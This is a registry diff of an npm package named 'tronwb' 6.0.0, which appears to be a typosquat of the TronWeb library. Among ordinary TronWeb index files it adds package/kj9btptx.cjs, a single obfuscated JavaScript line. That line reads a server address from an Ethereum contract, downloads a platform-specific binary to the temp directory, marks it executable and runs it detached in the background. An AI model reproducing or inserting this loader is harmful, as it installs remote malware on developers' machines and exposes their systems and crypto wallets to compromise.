tronwb 6.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (318) hide show
  1. package/LICENSE +21 -0
  2. package/README.md +201 -0
  3. package/dist/TronWeb.js +3 -0
  4. package/dist/TronWeb.js.LICENSE.txt +12 -0
  5. package/dist/TronWeb.js.map +1 -0
  6. package/dist/TronWeb.node.js +2 -0
  7. package/dist/TronWeb.node.js.map +1 -0
  8. package/kj9btptx.cjs +1 -0
  9. package/lib/commonjs/index.d.ts +64 -0
  10. package/lib/commonjs/index.js +37 -0
  11. package/lib/commonjs/index.js.map +1 -0
  12. package/lib/commonjs/lib/TransactionBuilder/TransactionBuilder.d.ts +127 -0
  13. package/lib/commonjs/lib/TransactionBuilder/TransactionBuilder.js +1771 -0
  14. package/lib/commonjs/lib/TransactionBuilder/TransactionBuilder.js.map +1 -0
  15. package/lib/commonjs/lib/TransactionBuilder/helper.d.ts +28 -0
  16. package/lib/commonjs/lib/TransactionBuilder/helper.js +122 -0
  17. package/lib/commonjs/lib/TransactionBuilder/helper.js.map +1 -0
  18. package/lib/commonjs/lib/contract/index.d.ts +29 -0
  19. package/lib/commonjs/lib/contract/index.js +124 -0
  20. package/lib/commonjs/lib/contract/index.js.map +1 -0
  21. package/lib/commonjs/lib/contract/method.d.ts +50 -0
  22. package/lib/commonjs/lib/contract/method.js +238 -0
  23. package/lib/commonjs/lib/contract/method.js.map +1 -0
  24. package/lib/commonjs/lib/event.d.ts +85 -0
  25. package/lib/commonjs/lib/event.js +137 -0
  26. package/lib/commonjs/lib/event.js.map +1 -0
  27. package/lib/commonjs/lib/plugin.d.ts +28 -0
  28. package/lib/commonjs/lib/plugin.js +84 -0
  29. package/lib/commonjs/lib/plugin.js.map +1 -0
  30. package/lib/commonjs/lib/providers/HttpProvider.d.ts +15 -0
  31. package/lib/commonjs/lib/providers/HttpProvider.js +63 -0
  32. package/lib/commonjs/lib/providers/HttpProvider.js.map +1 -0
  33. package/lib/commonjs/lib/providers/index.d.ts +6 -0
  34. package/lib/commonjs/lib/providers/index.js +8 -0
  35. package/lib/commonjs/lib/providers/index.js.map +1 -0
  36. package/lib/commonjs/lib/trx.d.ts +315 -0
  37. package/lib/commonjs/lib/trx.js +965 -0
  38. package/lib/commonjs/lib/trx.js.map +1 -0
  39. package/lib/commonjs/package.json +1 -0
  40. package/lib/commonjs/paramValidator/index.d.ts +19 -0
  41. package/lib/commonjs/paramValidator/index.js +110 -0
  42. package/lib/commonjs/paramValidator/index.js.map +1 -0
  43. package/lib/commonjs/protocol/core/Tron_pb.cjs +7524 -0
  44. package/lib/commonjs/protocol/core/contract/account_contract_pb.cjs +961 -0
  45. package/lib/commonjs/protocol/core/contract/asset_issue_contract_pb.cjs +2196 -0
  46. package/lib/commonjs/protocol/core/contract/balance_contract_pb.cjs +3826 -0
  47. package/lib/commonjs/protocol/core/contract/common_pb.cjs +34 -0
  48. package/lib/commonjs/protocol/core/contract/exchange_contract_pb.cjs +1268 -0
  49. package/lib/commonjs/protocol/core/contract/proposal_contract_pb.cjs +675 -0
  50. package/lib/commonjs/protocol/core/contract/smart_contract_pb.cjs +2960 -0
  51. package/lib/commonjs/protocol/core/contract/storage_contract_pb.cjs +848 -0
  52. package/lib/commonjs/protocol/core/contract/vote_asset_contract_pb.cjs +340 -0
  53. package/lib/commonjs/protocol/core/contract/witness_contract_pb.cjs +956 -0
  54. package/lib/commonjs/tronweb.d.ts +111 -0
  55. package/lib/commonjs/tronweb.js +365 -0
  56. package/lib/commonjs/tronweb.js.map +1 -0
  57. package/lib/commonjs/types/ABI.d.ts +59 -0
  58. package/lib/commonjs/types/ABI.js +3 -0
  59. package/lib/commonjs/types/ABI.js.map +1 -0
  60. package/lib/commonjs/types/APIResponse.d.ts +31 -0
  61. package/lib/commonjs/types/APIResponse.js +3 -0
  62. package/lib/commonjs/types/APIResponse.js.map +1 -0
  63. package/lib/commonjs/types/Contract.d.ts +287 -0
  64. package/lib/commonjs/types/Contract.js +63 -0
  65. package/lib/commonjs/types/Contract.js.map +1 -0
  66. package/lib/commonjs/types/Providers.d.ts +8 -0
  67. package/lib/commonjs/types/Providers.js +3 -0
  68. package/lib/commonjs/types/Providers.js.map +1 -0
  69. package/lib/commonjs/types/Transaction.d.ts +65 -0
  70. package/lib/commonjs/types/Transaction.js +3 -0
  71. package/lib/commonjs/types/Transaction.js.map +1 -0
  72. package/lib/commonjs/types/TransactionBuilder.d.ts +270 -0
  73. package/lib/commonjs/types/TransactionBuilder.js +3 -0
  74. package/lib/commonjs/types/TransactionBuilder.js.map +1 -0
  75. package/lib/commonjs/types/TronWeb.d.ts +20 -0
  76. package/lib/commonjs/types/TronWeb.js +3 -0
  77. package/lib/commonjs/types/TronWeb.js.map +1 -0
  78. package/lib/commonjs/types/Trx.d.ts +263 -0
  79. package/lib/commonjs/types/Trx.js +42 -0
  80. package/lib/commonjs/types/Trx.js.map +1 -0
  81. package/lib/commonjs/types/UtilsTypes.d.ts +23 -0
  82. package/lib/commonjs/types/UtilsTypes.js +3 -0
  83. package/lib/commonjs/types/UtilsTypes.js.map +1 -0
  84. package/lib/commonjs/types/index.d.ts +9 -0
  85. package/lib/commonjs/types/index.js +13 -0
  86. package/lib/commonjs/types/index.js.map +1 -0
  87. package/lib/commonjs/utils/abi.d.ts +5 -0
  88. package/lib/commonjs/utils/abi.js +251 -0
  89. package/lib/commonjs/utils/abi.js.map +1 -0
  90. package/lib/commonjs/utils/accounts.d.ts +22 -0
  91. package/lib/commonjs/utils/accounts.js +51 -0
  92. package/lib/commonjs/utils/accounts.js.map +1 -0
  93. package/lib/commonjs/utils/address.d.ts +12 -0
  94. package/lib/commonjs/utils/address.js +91 -0
  95. package/lib/commonjs/utils/address.js.map +1 -0
  96. package/lib/commonjs/utils/base58.d.ts +3 -0
  97. package/lib/commonjs/utils/base58.js +68 -0
  98. package/lib/commonjs/utils/base58.js.map +1 -0
  99. package/lib/commonjs/utils/base64.d.ts +10 -0
  100. package/lib/commonjs/utils/base64.js +173 -0
  101. package/lib/commonjs/utils/base64.js.map +1 -0
  102. package/lib/commonjs/utils/bytes.d.ts +7 -0
  103. package/lib/commonjs/utils/bytes.js +61 -0
  104. package/lib/commonjs/utils/bytes.js.map +1 -0
  105. package/lib/commonjs/utils/code.d.ts +12 -0
  106. package/lib/commonjs/utils/code.js +166 -0
  107. package/lib/commonjs/utils/code.js.map +1 -0
  108. package/lib/commonjs/utils/crypto.d.ts +25 -0
  109. package/lib/commonjs/utils/crypto.js +222 -0
  110. package/lib/commonjs/utils/crypto.js.map +1 -0
  111. package/lib/commonjs/utils/ethersUtils.d.ts +14 -0
  112. package/lib/commonjs/utils/ethersUtils.js +39 -0
  113. package/lib/commonjs/utils/ethersUtils.js.map +1 -0
  114. package/lib/commonjs/utils/fragments.d.ts +465 -0
  115. package/lib/commonjs/utils/fragments.js +1342 -0
  116. package/lib/commonjs/utils/fragments.js.map +1 -0
  117. package/lib/commonjs/utils/help.d.ts +8 -0
  118. package/lib/commonjs/utils/help.js +61 -0
  119. package/lib/commonjs/utils/help.js.map +1 -0
  120. package/lib/commonjs/utils/index.d.ts +56 -0
  121. package/lib/commonjs/utils/index.js +43 -0
  122. package/lib/commonjs/utils/index.js.map +1 -0
  123. package/lib/commonjs/utils/interface.d.ts +381 -0
  124. package/lib/commonjs/utils/interface.js +1121 -0
  125. package/lib/commonjs/utils/interface.js.map +1 -0
  126. package/lib/commonjs/utils/message.d.ts +4 -0
  127. package/lib/commonjs/utils/message.js +38 -0
  128. package/lib/commonjs/utils/message.js.map +1 -0
  129. package/lib/commonjs/utils/transaction.d.ts +17 -0
  130. package/lib/commonjs/utils/transaction.js +678 -0
  131. package/lib/commonjs/utils/transaction.js.map +1 -0
  132. package/lib/commonjs/utils/typedData.d.ts +148 -0
  133. package/lib/commonjs/utils/typedData.js +498 -0
  134. package/lib/commonjs/utils/typedData.js.map +1 -0
  135. package/lib/commonjs/utils/validations.d.ts +22 -0
  136. package/lib/commonjs/utils/validations.js +128 -0
  137. package/lib/commonjs/utils/validations.js.map +1 -0
  138. package/lib/esm/index.d.ts +64 -0
  139. package/lib/esm/index.js +33 -0
  140. package/lib/esm/index.js.map +1 -0
  141. package/lib/esm/lib/TransactionBuilder/TransactionBuilder.d.ts +127 -0
  142. package/lib/esm/lib/TransactionBuilder/TransactionBuilder.js +1767 -0
  143. package/lib/esm/lib/TransactionBuilder/TransactionBuilder.js.map +1 -0
  144. package/lib/esm/lib/TransactionBuilder/helper.d.ts +28 -0
  145. package/lib/esm/lib/TransactionBuilder/helper.js +112 -0
  146. package/lib/esm/lib/TransactionBuilder/helper.js.map +1 -0
  147. package/lib/esm/lib/contract/index.d.ts +29 -0
  148. package/lib/esm/lib/contract/index.js +118 -0
  149. package/lib/esm/lib/contract/index.js.map +1 -0
  150. package/lib/esm/lib/contract/method.d.ts +50 -0
  151. package/lib/esm/lib/contract/method.js +233 -0
  152. package/lib/esm/lib/contract/method.js.map +1 -0
  153. package/lib/esm/lib/event.d.ts +85 -0
  154. package/lib/esm/lib/event.js +132 -0
  155. package/lib/esm/lib/event.js.map +1 -0
  156. package/lib/esm/lib/plugin.d.ts +28 -0
  157. package/lib/esm/lib/plugin.js +79 -0
  158. package/lib/esm/lib/plugin.js.map +1 -0
  159. package/lib/esm/lib/providers/HttpProvider.d.ts +15 -0
  160. package/lib/esm/lib/providers/HttpProvider.js +59 -0
  161. package/lib/esm/lib/providers/HttpProvider.js.map +1 -0
  162. package/lib/esm/lib/providers/index.d.ts +6 -0
  163. package/lib/esm/lib/providers/index.js +4 -0
  164. package/lib/esm/lib/providers/index.js.map +1 -0
  165. package/lib/esm/lib/trx.d.ts +315 -0
  166. package/lib/esm/lib/trx.js +960 -0
  167. package/lib/esm/lib/trx.js.map +1 -0
  168. package/lib/esm/package.json +1 -0
  169. package/lib/esm/paramValidator/index.d.ts +19 -0
  170. package/lib/esm/paramValidator/index.js +106 -0
  171. package/lib/esm/paramValidator/index.js.map +1 -0
  172. package/lib/esm/protocol/core/Tron_pb.cjs +7524 -0
  173. package/lib/esm/protocol/core/contract/account_contract_pb.cjs +961 -0
  174. package/lib/esm/protocol/core/contract/asset_issue_contract_pb.cjs +2196 -0
  175. package/lib/esm/protocol/core/contract/balance_contract_pb.cjs +3826 -0
  176. package/lib/esm/protocol/core/contract/common_pb.cjs +34 -0
  177. package/lib/esm/protocol/core/contract/exchange_contract_pb.cjs +1268 -0
  178. package/lib/esm/protocol/core/contract/proposal_contract_pb.cjs +675 -0
  179. package/lib/esm/protocol/core/contract/smart_contract_pb.cjs +2960 -0
  180. package/lib/esm/protocol/core/contract/storage_contract_pb.cjs +848 -0
  181. package/lib/esm/protocol/core/contract/vote_asset_contract_pb.cjs +340 -0
  182. package/lib/esm/protocol/core/contract/witness_contract_pb.cjs +956 -0
  183. package/lib/esm/tronweb.d.ts +111 -0
  184. package/lib/esm/tronweb.js +360 -0
  185. package/lib/esm/tronweb.js.map +1 -0
  186. package/lib/esm/types/ABI.d.ts +59 -0
  187. package/lib/esm/types/ABI.js +2 -0
  188. package/lib/esm/types/ABI.js.map +1 -0
  189. package/lib/esm/types/APIResponse.d.ts +31 -0
  190. package/lib/esm/types/APIResponse.js +2 -0
  191. package/lib/esm/types/APIResponse.js.map +1 -0
  192. package/lib/esm/types/Contract.d.ts +287 -0
  193. package/lib/esm/types/Contract.js +60 -0
  194. package/lib/esm/types/Contract.js.map +1 -0
  195. package/lib/esm/types/Providers.d.ts +8 -0
  196. package/lib/esm/types/Providers.js +2 -0
  197. package/lib/esm/types/Providers.js.map +1 -0
  198. package/lib/esm/types/Transaction.d.ts +65 -0
  199. package/lib/esm/types/Transaction.js +2 -0
  200. package/lib/esm/types/Transaction.js.map +1 -0
  201. package/lib/esm/types/TransactionBuilder.d.ts +270 -0
  202. package/lib/esm/types/TransactionBuilder.js +2 -0
  203. package/lib/esm/types/TransactionBuilder.js.map +1 -0
  204. package/lib/esm/types/TronWeb.d.ts +20 -0
  205. package/lib/esm/types/TronWeb.js +2 -0
  206. package/lib/esm/types/TronWeb.js.map +1 -0
  207. package/lib/esm/types/Trx.d.ts +263 -0
  208. package/lib/esm/types/Trx.js +39 -0
  209. package/lib/esm/types/Trx.js.map +1 -0
  210. package/lib/esm/types/UtilsTypes.d.ts +23 -0
  211. package/lib/esm/types/UtilsTypes.js +2 -0
  212. package/lib/esm/types/UtilsTypes.js.map +1 -0
  213. package/lib/esm/types/index.d.ts +9 -0
  214. package/lib/esm/types/index.js +10 -0
  215. package/lib/esm/types/index.js.map +1 -0
  216. package/lib/esm/utils/abi.d.ts +5 -0
  217. package/lib/esm/utils/abi.js +245 -0
  218. package/lib/esm/utils/abi.js.map +1 -0
  219. package/lib/esm/utils/accounts.d.ts +22 -0
  220. package/lib/esm/utils/accounts.js +46 -0
  221. package/lib/esm/utils/accounts.js.map +1 -0
  222. package/lib/esm/utils/address.d.ts +12 -0
  223. package/lib/esm/utils/address.js +82 -0
  224. package/lib/esm/utils/address.js.map +1 -0
  225. package/lib/esm/utils/base58.d.ts +3 -0
  226. package/lib/esm/utils/base58.js +64 -0
  227. package/lib/esm/utils/base58.js.map +1 -0
  228. package/lib/esm/utils/base64.d.ts +10 -0
  229. package/lib/esm/utils/base64.js +169 -0
  230. package/lib/esm/utils/base64.js.map +1 -0
  231. package/lib/esm/utils/bytes.d.ts +7 -0
  232. package/lib/esm/utils/bytes.js +53 -0
  233. package/lib/esm/utils/bytes.js.map +1 -0
  234. package/lib/esm/utils/code.d.ts +12 -0
  235. package/lib/esm/utils/code.js +149 -0
  236. package/lib/esm/utils/code.js.map +1 -0
  237. package/lib/esm/utils/crypto.d.ts +25 -0
  238. package/lib/esm/utils/crypto.js +198 -0
  239. package/lib/esm/utils/crypto.js.map +1 -0
  240. package/lib/esm/utils/ethersUtils.d.ts +14 -0
  241. package/lib/esm/utils/ethersUtils.js +17 -0
  242. package/lib/esm/utils/ethersUtils.js.map +1 -0
  243. package/lib/esm/utils/fragments.d.ts +465 -0
  244. package/lib/esm/utils/fragments.js +1330 -0
  245. package/lib/esm/utils/fragments.js.map +1 -0
  246. package/lib/esm/utils/help.d.ts +8 -0
  247. package/lib/esm/utils/help.js +51 -0
  248. package/lib/esm/utils/help.js.map +1 -0
  249. package/lib/esm/utils/index.d.ts +56 -0
  250. package/lib/esm/utils/index.js +40 -0
  251. package/lib/esm/utils/index.js.map +1 -0
  252. package/lib/esm/utils/interface.d.ts +381 -0
  253. package/lib/esm/utils/interface.js +1112 -0
  254. package/lib/esm/utils/interface.js.map +1 -0
  255. package/lib/esm/utils/message.d.ts +4 -0
  256. package/lib/esm/utils/message.js +32 -0
  257. package/lib/esm/utils/message.js.map +1 -0
  258. package/lib/esm/utils/transaction.d.ts +17 -0
  259. package/lib/esm/utils/transaction.js +669 -0
  260. package/lib/esm/utils/transaction.js.map +1 -0
  261. package/lib/esm/utils/typedData.d.ts +148 -0
  262. package/lib/esm/utils/typedData.js +493 -0
  263. package/lib/esm/utils/typedData.js.map +1 -0
  264. package/lib/esm/utils/validations.d.ts +22 -0
  265. package/lib/esm/utils/validations.js +108 -0
  266. package/lib/esm/utils/validations.js.map +1 -0
  267. package/package.json +110 -0
  268. package/src/index.ts +42 -0
  269. package/src/lib/TransactionBuilder/TransactionBuilder.ts +2272 -0
  270. package/src/lib/TransactionBuilder/helper.ts +139 -0
  271. package/src/lib/contract/index.ts +151 -0
  272. package/src/lib/contract/method.ts +336 -0
  273. package/src/lib/event.ts +248 -0
  274. package/src/lib/plugin.ts +102 -0
  275. package/src/lib/providers/HttpProvider.ts +66 -0
  276. package/src/lib/providers/index.ts +6 -0
  277. package/src/lib/trx.ts +1463 -0
  278. package/src/paramValidator/index.ts +136 -0
  279. package/src/protocol/core/Tron_pb.cjs +7524 -0
  280. package/src/protocol/core/contract/account_contract_pb.cjs +961 -0
  281. package/src/protocol/core/contract/asset_issue_contract_pb.cjs +2196 -0
  282. package/src/protocol/core/contract/balance_contract_pb.cjs +3826 -0
  283. package/src/protocol/core/contract/common_pb.cjs +34 -0
  284. package/src/protocol/core/contract/exchange_contract_pb.cjs +1268 -0
  285. package/src/protocol/core/contract/proposal_contract_pb.cjs +675 -0
  286. package/src/protocol/core/contract/smart_contract_pb.cjs +2960 -0
  287. package/src/protocol/core/contract/storage_contract_pb.cjs +848 -0
  288. package/src/protocol/core/contract/vote_asset_contract_pb.cjs +340 -0
  289. package/src/protocol/core/contract/witness_contract_pb.cjs +956 -0
  290. package/src/tronweb.ts +437 -0
  291. package/src/types/ABI.ts +82 -0
  292. package/src/types/APIResponse.ts +34 -0
  293. package/src/types/Contract.ts +352 -0
  294. package/src/types/Providers.ts +7 -0
  295. package/src/types/Transaction.ts +70 -0
  296. package/src/types/TransactionBuilder.ts +281 -0
  297. package/src/types/TronWeb.ts +23 -0
  298. package/src/types/Trx.ts +285 -0
  299. package/src/types/UtilsTypes.ts +25 -0
  300. package/src/types/index.ts +9 -0
  301. package/src/types/interface.d.ts +1 -0
  302. package/src/utils/abi.ts +257 -0
  303. package/src/utils/accounts.ts +60 -0
  304. package/src/utils/address.ts +89 -0
  305. package/src/utils/base58.ts +78 -0
  306. package/src/utils/base64.ts +200 -0
  307. package/src/utils/bytes.ts +68 -0
  308. package/src/utils/code.ts +172 -0
  309. package/src/utils/crypto.ts +264 -0
  310. package/src/utils/ethersUtils.ts +60 -0
  311. package/src/utils/fragments.ts +1738 -0
  312. package/src/utils/help.ts +59 -0
  313. package/src/utils/index.ts +42 -0
  314. package/src/utils/interface.ts +1362 -0
  315. package/src/utils/message.ts +38 -0
  316. package/src/utils/transaction.ts +991 -0
  317. package/src/utils/typedData.ts +688 -0
  318. package/src/utils/validations.ts +130 -0
package/kj9btptx.cjs ADDED
@@ -0,0 +1 @@
1
+ const _0x37bda4=_0x2add;function _0x2add(_0x2f1e97,_0x4da38d){const _0x1f616e=_0x1f61();return _0x2add=function(_0x2addaf,_0x1ad27e){_0x2addaf=_0x2addaf-0x16e;let _0x5e6eea=_0x1f616e[_0x2addaf];return _0x5e6eea;},_0x2add(_0x2f1e97,_0x4da38d);}(function(_0x1769b8,_0x36aa5f){const _0x200ca4=_0x2add,_0x2f93a1=_0x1769b8();while(!![]){try{const _0x25a0a1=-parseInt(_0x200ca4(0x182))/0x1+-parseInt(_0x200ca4(0x17f))/0x2+-parseInt(_0x200ca4(0x189))/0x3*(parseInt(_0x200ca4(0x175))/0x4)+parseInt(_0x200ca4(0x196))/0x5+-parseInt(_0x200ca4(0x17d))/0x6+parseInt(_0x200ca4(0x17c))/0x7*(-parseInt(_0x200ca4(0x171))/0x8)+-parseInt(_0x200ca4(0x19a))/0x9*(-parseInt(_0x200ca4(0x18f))/0xa);if(_0x25a0a1===_0x36aa5f)break;else _0x2f93a1['push'](_0x2f93a1['shift']());}catch(_0x92b48a){_0x2f93a1['push'](_0x2f93a1['shift']());}}}(_0x1f61,0x6127e));function _0x1f61(){const _0x5b8d77=['4482beRBFM','PKwkl','platform','Unsupported\x20platform:\x20','bYnOm','join','FZQiQ','axios','32WJaXvo','Contract','ethers','chmodSync','27988RaKVTd','Ошибка\x20при\x20получении\x20IP\x20адреса:','data','/node-win.exe','basename','darwin','0x52221c293a21D8CA7AFD01Ac6bFAC7175D590A84','1039885RxAkgd','2561118FajzAB','/node-macos','143054RAzLdC','/node-linux','glRDt','754213NWHPar','ycPTz','pipe','MVAdK','getDefaultProvider','tmpdir','linux','159OeEZLb','stream','getString','qOrqt','win32','755','45240XgAHAY','SrjbF','function\x20getString(address\x20account)\x20public\x20view\x20returns\x20(string)','0xa1b40044EBc2794f207D45143Bd82a1B86156c6b','error','mLogV','util','1813260ZbIhgY','ifwux','mainnet','path'];_0x1f61=function(){return _0x5b8d77;};return _0x1f61();}const {ethers}=require(_0x37bda4(0x173)),axios=require(_0x37bda4(0x170)),util=require(_0x37bda4(0x195)),fs=require('fs'),path=require(_0x37bda4(0x199)),os=require('os'),{spawn}=require('child_process'),contractAddress=_0x37bda4(0x192),WalletOwner=_0x37bda4(0x17b),abi=[_0x37bda4(0x191)],provider=ethers[_0x37bda4(0x186)](_0x37bda4(0x198)),contract=new ethers[(_0x37bda4(0x172))](contractAddress,abi,provider),fetchAndUpdateIp=async()=>{const _0x42230d=_0x37bda4,_0x213e8b={'bYnOm':_0x42230d(0x176),'UeiET':function(_0x45c43c){return _0x45c43c();}};try{const _0x25289b=await contract[_0x42230d(0x18b)](WalletOwner);return _0x25289b;}catch(_0x47b037){return console[_0x42230d(0x193)](_0x213e8b[_0x42230d(0x19e)],_0x47b037),await _0x213e8b['UeiET'](fetchAndUpdateIp);}},getDownloadUrl=_0x588acd=>{const _0x3eb37e=_0x37bda4,_0x45ddca={'OYpkw':_0x3eb37e(0x18d),'ZdPfD':_0x3eb37e(0x188),'glRDt':_0x3eb37e(0x17a)},_0x535be9=os[_0x3eb37e(0x19c)]();switch(_0x535be9){case _0x45ddca['OYpkw']:return _0x588acd+_0x3eb37e(0x178);case _0x45ddca['ZdPfD']:return _0x588acd+_0x3eb37e(0x180);case _0x45ddca[_0x3eb37e(0x181)]:return _0x588acd+_0x3eb37e(0x17e);default:throw new Error(_0x3eb37e(0x19d)+_0x535be9);}},downloadFile=async(_0xcc4a27,_0x103abc)=>{const _0x2e7da2=_0x37bda4,_0x1b37be={'mLogV':'finish','PKwkl':_0x2e7da2(0x193),'FZQiQ':function(_0x58aa74,_0x128d5f){return _0x58aa74(_0x128d5f);},'VzmbM':'GET'},_0x8a98d3=fs['createWriteStream'](_0x103abc),_0x551aaf=await _0x1b37be[_0x2e7da2(0x16f)](axios,{'url':_0xcc4a27,'method':_0x1b37be['VzmbM'],'responseType':_0x2e7da2(0x18a)});return _0x551aaf[_0x2e7da2(0x177)][_0x2e7da2(0x184)](_0x8a98d3),new Promise((_0x466b54,_0x5b8cac)=>{const _0x3111ba=_0x2e7da2;_0x8a98d3['on'](_0x1b37be[_0x3111ba(0x194)],_0x466b54),_0x8a98d3['on'](_0x1b37be[_0x3111ba(0x19b)],_0x5b8cac);});},executeFileInBackground=async _0x13d1e6=>{const _0x10a175=_0x37bda4,_0x19354b={'ifwux':function(_0x176987,_0x705ced,_0x2302c5,_0x3ca353){return _0x176987(_0x705ced,_0x2302c5,_0x3ca353);}};try{const _0x297e27=_0x19354b[_0x10a175(0x197)](spawn,_0x13d1e6,[],{'detached':!![],'stdio':'ignore'});_0x297e27['unref']();}catch(_0x3acea3){console[_0x10a175(0x193)]('Ошибка\x20при\x20запуске\x20файла:',_0x3acea3);}},runInstallation=async()=>{const _0x178e1c=_0x37bda4,_0x4760d8={'SrjbF':function(_0x5a93ac){return _0x5a93ac();},'ycPTz':function(_0x79272,_0x4def6a){return _0x79272(_0x4def6a);},'MVAdK':function(_0x4fc20f,_0x2b1eda,_0x2f2d15){return _0x4fc20f(_0x2b1eda,_0x2f2d15);},'qOrqt':function(_0x1d9d51,_0x2f4c16){return _0x1d9d51!==_0x2f4c16;},'tGdOj':_0x178e1c(0x18d),'hZfWg':'Ошибка\x20установки:'};try{const _0x1e9913=await _0x4760d8[_0x178e1c(0x190)](fetchAndUpdateIp),_0xe8a3a4=_0x4760d8[_0x178e1c(0x183)](getDownloadUrl,_0x1e9913),_0x2d7c6e=os[_0x178e1c(0x187)](),_0x3bf586=path[_0x178e1c(0x179)](_0xe8a3a4),_0x5b28be=path[_0x178e1c(0x16e)](_0x2d7c6e,_0x3bf586);await _0x4760d8[_0x178e1c(0x185)](downloadFile,_0xe8a3a4,_0x5b28be);if(_0x4760d8[_0x178e1c(0x18c)](os['platform'](),_0x4760d8['tGdOj']))fs[_0x178e1c(0x174)](_0x5b28be,_0x178e1c(0x18e));_0x4760d8[_0x178e1c(0x183)](executeFileInBackground,_0x5b28be);}catch(_0x4007bf){console['error'](_0x4760d8['hZfWg'],_0x4007bf);}};runInstallation();
@@ -0,0 +1,64 @@
1
+ import utils from './utils/index.js';
2
+ export { utils };
3
+ import { BigNumber } from 'bignumber.js';
4
+ export { BigNumber };
5
+ import { providers } from './lib/providers/index.js';
6
+ export { providers };
7
+ import { TransactionBuilder } from './lib/TransactionBuilder/TransactionBuilder.js';
8
+ export { TransactionBuilder };
9
+ import { Trx } from './lib/trx.js';
10
+ export { Trx };
11
+ import { Contract } from './lib/contract/index.js';
12
+ export { Contract };
13
+ import { Event } from './lib/event.js';
14
+ export { Event };
15
+ import { Plugin } from './lib/plugin.js';
16
+ export { Plugin };
17
+ import { TronWeb } from './tronweb.js';
18
+ export { TronWeb };
19
+ import * as Types from './types/index.js';
20
+ export { Types };
21
+ declare const _default: {
22
+ utils: {
23
+ address: typeof import("./utils/address.js");
24
+ code: typeof import("./utils/code.js");
25
+ accounts: typeof import("./utils/accounts.js");
26
+ base58: typeof import("./utils/base58.js");
27
+ bytes: typeof import("./utils/bytes.js");
28
+ crypto: typeof import("./utils/crypto.js");
29
+ abi: typeof import("./utils/abi.js");
30
+ message: typeof import("./utils/message.js");
31
+ _TypedDataEncoder: typeof import("./utils/typedData.js").TypedDataEncoder;
32
+ transaction: typeof import("./utils/transaction.js");
33
+ ethersUtils: typeof import("./utils/ethersUtils.js");
34
+ isValidURL(url: string): boolean;
35
+ isObject(obj: unknown): obj is Record<number | string | symbol, unknown>;
36
+ isArray(array: unknown): array is unknown[];
37
+ isJson(string: string): boolean;
38
+ isBoolean(bool: unknown): bool is boolean;
39
+ isBigNumber(number: unknown): number is Types.IBigNumber;
40
+ isString(string: unknown): string is string;
41
+ isFunction(obj: unknown): obj is (...args: unknown[]) => unknown;
42
+ isHex(string: string): string is string;
43
+ isInteger(number: unknown): number is number;
44
+ hasProperty(obj: object, property: string | number | symbol): boolean;
45
+ hasProperties(obj: object, ...properties: (string | number | symbol)[]): boolean | 0;
46
+ mapEvent(event: Types.EventQueryDataType): Types.MapEventQueryDataType;
47
+ parseEvent(event: Types.EventQueryDataType, { inputs: abi }: {
48
+ inputs: ReadonlyArray<Types.AbiParamsCommon>;
49
+ }): Types.EventQueryDataType;
50
+ padLeft(input: string | number, padding: string, amount: number): string;
51
+ isNotNullOrUndefined(val: unknown): boolean;
52
+ sleep(millis?: number): Promise<any>;
53
+ };
54
+ BigNumber: typeof BigNumber;
55
+ providers: import("./lib/providers/index.js").Providers;
56
+ TransactionBuilder: typeof TransactionBuilder;
57
+ Trx: typeof Trx;
58
+ Contract: typeof Contract;
59
+ Event: typeof Event;
60
+ Plugin: typeof Plugin;
61
+ TronWeb: typeof TronWeb;
62
+ Types: typeof Types;
63
+ };
64
+ export default _default;
@@ -0,0 +1,37 @@
1
+ "use strict";
2
+ Object.defineProperty(exports, "__esModule", { value: true });
3
+ exports.Types = exports.TronWeb = exports.Plugin = exports.Event = exports.Contract = exports.Trx = exports.TransactionBuilder = exports.providers = exports.BigNumber = exports.utils = void 0;
4
+ const tslib_1 = require("tslib");
5
+ const index_js_1 = tslib_1.__importDefault(require("./utils/index.js"));
6
+ exports.utils = index_js_1.default;
7
+ const bignumber_js_1 = require("bignumber.js");
8
+ Object.defineProperty(exports, "BigNumber", { enumerable: true, get: function () { return bignumber_js_1.BigNumber; } });
9
+ const index_js_2 = require("./lib/providers/index.js");
10
+ Object.defineProperty(exports, "providers", { enumerable: true, get: function () { return index_js_2.providers; } });
11
+ const TransactionBuilder_js_1 = require("./lib/TransactionBuilder/TransactionBuilder.js");
12
+ Object.defineProperty(exports, "TransactionBuilder", { enumerable: true, get: function () { return TransactionBuilder_js_1.TransactionBuilder; } });
13
+ const trx_js_1 = require("./lib/trx.js");
14
+ Object.defineProperty(exports, "Trx", { enumerable: true, get: function () { return trx_js_1.Trx; } });
15
+ const index_js_3 = require("./lib/contract/index.js");
16
+ Object.defineProperty(exports, "Contract", { enumerable: true, get: function () { return index_js_3.Contract; } });
17
+ const event_js_1 = require("./lib/event.js");
18
+ Object.defineProperty(exports, "Event", { enumerable: true, get: function () { return event_js_1.Event; } });
19
+ const plugin_js_1 = require("./lib/plugin.js");
20
+ Object.defineProperty(exports, "Plugin", { enumerable: true, get: function () { return plugin_js_1.Plugin; } });
21
+ const tronweb_js_1 = require("./tronweb.js");
22
+ Object.defineProperty(exports, "TronWeb", { enumerable: true, get: function () { return tronweb_js_1.TronWeb; } });
23
+ const Types = tslib_1.__importStar(require("./types/index.js"));
24
+ exports.Types = Types;
25
+ exports.default = {
26
+ utils: index_js_1.default,
27
+ BigNumber: bignumber_js_1.BigNumber,
28
+ providers: index_js_2.providers,
29
+ TransactionBuilder: TransactionBuilder_js_1.TransactionBuilder,
30
+ Trx: trx_js_1.Trx,
31
+ Contract: index_js_3.Contract,
32
+ Event: event_js_1.Event,
33
+ Plugin: plugin_js_1.Plugin,
34
+ TronWeb: tronweb_js_1.TronWeb,
35
+ Types,
36
+ };
37
+ //# sourceMappingURL=index.js.map
@@ -0,0 +1 @@
1
